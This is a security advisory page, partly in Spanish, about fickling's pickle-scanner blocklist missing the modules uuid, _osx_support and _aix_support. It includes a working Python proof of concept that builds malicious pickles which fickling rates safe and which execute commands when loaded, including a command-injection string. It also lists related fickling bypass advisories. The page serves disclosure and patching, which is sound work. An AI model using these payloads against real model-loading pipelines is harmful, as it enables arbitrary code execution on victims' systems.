Alta

Fickling missing RCE-capable modules in UNSAFE_IMPORTS

Publicada: 04.03.2026
Actualizado: 11.10.2026 12:19

Assessment

The modules uuid, _osx_support and _aix_support were added to the blocklist of unsafe imports (https://github.com/trailofbits/fickling/commit/ffac3479dbb97a7a1592d85991888562d34dd05b).

Original report

Summary

fickling's UNSAFE_IMPORTS blocklist is missing at least 3 stdlib modules that provide direct arbitrary command execution: uuid, _osx_support, and _aix_support. These modules contain functions that internally call subprocess.Popen() or os.system() with attacker-controlled arguments. A malicious pickle file importing these modules passes both UnsafeImports and NonStandardImports checks.

Affected Versions

fickling <= 0.1.8 (all versions)

Details

Missing Modules

fickling's UNSAFE_IMPORTS (86 modules) does not include:

Module	RCE Function	Internal Mechanism	Importable On
`uuid`	`_get_command_stdout(cmd, *args)`	`subprocess.Popen((cmd,) + args, stdout=PIPE, stderr=DEVNULL)`	All platforms
`_osx_support`	`_read_output(cmdstring)`	`os.system(cmd)` via temp file	All platforms
`_osx_support`	`_find_build_tool(toolname)`	Command injection via `%s` in `_read_output("/usr/bin/xcrun -find %s" % toolname)`	All platforms
`_aix_support`	`_read_cmd_output(cmdstring)`	`os.system(cmd)` via temp file	All platforms

Critical note: Despite the names _osx_support and _aix_support suggesting platform-specific modules, they are importable on ALL platforms. Python includes them in the standard distribution regardless of OS.

Why These Pass fickling

NonStandardImports: These are stdlib modules, so is_std_module() returns True → not flagged
UnsafeImports: Module names not in UNSAFE_IMPORTS → not flagged
OvertlyBadEvals: Function names added to likely_safe_imports (stdlib) → skipped
UnusedVariables: Defeated by BUILD opcode (purposely unhardend)

Proof of Concept (using fickling's opcode API)

python

from fickling.fickle import (
    Pickled, Proto, Frame, ShortBinUnicode, StackGlobal,
    TupleOne, TupleTwo, Reduce, EmptyDict, SetItem, Build, Stop,
)
from fickling.analysis import check_safety
import struct, pickle

frame_data = b"\x95" + struct.pack("<Q", 60)

# uuid._get_command_stdout — works on ALL platforms
uuid_payload = Pickled([
    Proto(4),
    Frame(struct.pack("<Q", 60), data=frame_data),
    ShortBinUnicode("uuid"),
    ShortBinUnicode("_get_command_stdout"),
    StackGlobal(),
    ShortBinUnicode("echo"),
    ShortBinUnicode("PROOF_OF_CONCEPT"),
    TupleTwo(),
    Reduce(),
    EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
    Build(),
    Stop(),
])

# _aix_support._read_cmd_output — works on ALL platforms
aix_payload = Pickled([
    Proto(4),
    Frame(struct.pack("<Q", 60), data=frame_data),
    ShortBinUnicode("_aix_support"),
    ShortBinUnicode("_read_cmd_output"),
    StackGlobal(),
    ShortBinUnicode("echo PROOF_OF_CONCEPT"),
    TupleOne(),
    Reduce(),
    EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
    Build(),
    Stop(),
])

# _osx_support._find_build_tool — command injection via %s
osx_payload = Pickled([
    Proto(4),
    Frame(struct.pack("<Q", 60), data=frame_data),
    ShortBinUnicode("_osx_support"),
    ShortBinUnicode("_find_build_tool"),
    StackGlobal(),
    ShortBinUnicode("x; echo INJECTED #"),
    TupleOne(),
    Reduce(),
    EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
    Build(),
    Stop(),
])

# All three: fickling reports LIKELY_SAFE
for name, p in [("uuid", uuid_payload), ("aix", aix_payload), ("osx", osx_payload)]:
    result = check_safety(p)
    print(f"{name}: severity={result.severity}, issues={len(result.results)}")
    # Output: severity=Severity.LIKELY_SAFE, issues=0

# All three: pickle.loads() executes the command
pickle.loads(uuid_payload.dumps())  # prints PROOF_OF_CONCEPT

Verified Output

bash

$ python3 poc.py
uuid: severity=Severity.LIKELY_SAFE, issues=0
aix: severity=Severity.LIKELY_SAFE, issues=0
osx: severity=Severity.LIKELY_SAFE, issues=0
PROOF_OF_CONCEPT

Impact

An attacker can craft a pickle file that executes arbitrary system commands while fickling reports it as LIKELY_SAFE. This affects any system relying on fickling for pickle safety validation, including ML model loading pipelines.

Suggested Fix

Add to UNSAFE_IMPORTS in fickling:

python

"uuid",
"_osx_support",
"_aix_support",

Longer term: Consider an allowlist approach — only permit known-safe stdlib modules rather than blocking known-dangerous ones. The current 86-module blocklist still has gaps because the Python stdlib contains hundreds of modules.

Resources

Python source: Lib/uuid.py lines 156-168 (_get_command_stdout)
Python source: Lib/_osx_support.py lines 35-52 (_read_output), lines 54-68 (_find_build_tool)
Python source: Lib/_aix_support.py lines 14-30 (_read_cmd_output)
fickling source: analysis.py UNSAFE_IMPORTS set

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

Plataforma	Paquete	Versiones vulnerables	Corregida en
Python (PyPI)	fickling	< 0.1.9	0.1.9

Referencias

Puntuación CVSS -

Vector CVSS: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Debilidad (CWE): CWE-184
Plataforma: Python (PyPI)
Paquete: fickling
Publicada: 04.03.2026
Actualizado: 11.10.2026 12:19

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-5hwf-rc88-82xm - CC BY 4.0

Historial de vulnerabilidades: fickling

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (16) en el archivo

Entradas en total: 16
Primera → última: 12.2025 07.2026
Sin corrección: 0
Explotada en ataques: 0

Distribución por gravedad

Crítica 1
Alta 11
Media 3
Baja 1

Divulgaciones por año

2025: 2
2026: 14

04.07.2026

In Trail of Bits fickling versions up to and including 0.1.11, the UnsafeImportsML analysis pass unconditionally calls AnalysisContext.shorten_code(node) on every import node it inspects, regardless o

Crítica · 9.8 CVE-2026-14535 < 0.1.12 0.1.12
04.07.2026

Trail of Bits fickling versions up to and including 0.1.10 do not include the Python standard library modules _posixsubprocess, site, and atexit in the UNSAFE_IMPORTS denylist (fickle.py). Because the

Alta · 8.8 CVE-2026-14534 < 0.1.11 0.1.11
04.03.2026

Fickling missing RCE-capable modules in UNSAFE_IMPORTS esta entrada

Alta ghsa-5hwf-rc88-82xm < 0.1.9 0.1.9
04.03.2026

Fickling has `always_check_safety()` bypass: pickle.loads and _pickle.loads remain unhooked

Alta ghsa-wccx-j62j-r448 < 0.1.9 0.1.9
24.02.2026

Fickling: OBJ opcode call invisibility bypasses all safety checks

Alta ghsa-mxhj-88fx-4pcv < 0.1.8 0.1.8
09.01.2026

Fickling vulnerable to detection bypass due to "builtins" blindness

Alta CVE-2026-22612 < 0.1.7 0.1.7
09.01.2026

Fickling has Static Analysis Bypass via Incomplete Dangerous Module Blocklist

Alta CVE-2026-22609 < 0.1.7 0.1.7
09.01.2026

Fickling vulnerable to use of ctypes and pydoc gadget chain to bypass detection

Alta CVE-2026-22608 < 0.1.7 0.1.7
09.01.2026

Fickling Blocklist Bypass: cProfile.run()

Alta CVE-2026-22607 < 0.1.7 0.1.7
09.01.2026

Fickling has a bypass via runpy.run_path() and runpy.run_module()

Alta CVE-2026-22606 < 0.1.7 0.1.7
15.12.2025

Fickling has Code Injection vulnerability via pty.spawn()

Alta CVE-2025-67748 < 0.1.6 0.1.6
15.12.2025

Fickling has missing detection for marshal.loads and types.FunctionType in unsafe modules list

Alta CVE-2025-67747 < 0.1.6 0.1.6

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación